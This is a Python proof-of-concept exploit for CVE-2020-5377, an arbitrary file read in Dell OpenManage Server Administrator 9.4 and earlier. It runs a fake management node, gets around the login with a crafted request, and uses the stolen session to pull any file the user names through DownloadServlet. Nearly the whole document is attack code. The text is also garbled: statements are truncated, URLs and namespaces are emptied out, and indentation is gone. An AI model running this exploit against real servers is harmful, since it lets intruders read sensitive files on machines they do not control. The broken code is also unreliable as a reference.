# Exploit Title: Dell OpenManage Server Administrator - Arbitrary File Read  
# Date: 4/27/2020  
# Exploit Author: Rhino Security Labs  
# Version: <= 9.4  
# Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.  
# CVE: CVE-2020-5377  
# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator  
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs  
# More information can be found here:   
# A patch for this issue can be found here:   
from xml.sax.saxutils import escape  
import BaseHTTPServer  
import requests  
import thread  
import ssl  
import sys  
import re  
import os  
import urllib3  
if len(sys.argv) < 3:  
print 'Usage python <yourIP> <targetIP>:<targetPort>'  
#This XML to imitate a Dell OMSA remote system comes from  
#Also check out  
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):  
def do_POST(s):  
data = ''  
content_len = int(s.headers.getheader('content-length', 0))  
post_body =  
s.send_header("Content-type", "application/soap+xml;charset=UTF-8")  
if "__00omacmd=getuserrightsonly" in post_body:  
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")  
if "__00omacmd=getaboutinfo " in post_body:  
data = escape("<ProductVersion>6.0.3</ProductVersion>")  
if data:  
requid = re.findall('>uuid:(.*?)<',post_body)[0]  
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>  
<s:Envelope xmlns:s="" xmlns:wsa="" xmlns:wsman="" xmlns:n1="">  
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="" xmlns:wsmid=""><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion></wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')  
def log_message(self, format, *args):  
createdCert = False  
if not os.path.isfile('./server.pem'):  
print '[-] No server.pem certifcate file found. Generating one...'  
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/"')  
createdCert = True  
def startServer():  
server_class = BaseHTTPServer.HTTPServer  
httpd = httpd = server_class(('', 443), MyHandler)  
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)  
myIP = sys.argv[1]  
target = sys.argv[2]  
def bypassAuth():  
values = {}  
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)  
data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}  
r =, data=data, verify=False, allow_redirects=False)  
cookieheader = r.headers['Set-Cookie']  
sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)  
pathid = re.findall('Path=/(.*?);',cookieheader)  
values['sessionid'] = sessionid[0]  
values['pathid'] = pathid[0]  
return values  
ids = bypassAuth()  
sessionid = ids['sessionid']  
pathid = ids['pathid']  
print "Session: "+sessionid  
print "VID: "+pathid  
def readFile(target,sessid,pathid):  
while True:  
file = raw_input('file > ')  
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)  
cookies = {"JSESSIONID": sessid}  
r = requests.get(url, cookies=cookies, verify=False)  
print 'Reading contents of {}:\n{}'.format(file,r.content)  
def getPath(path):  
if path.lower().startswith('c:\\'):  
path = path[2:]  
path = path.replace('\\','/')  
return path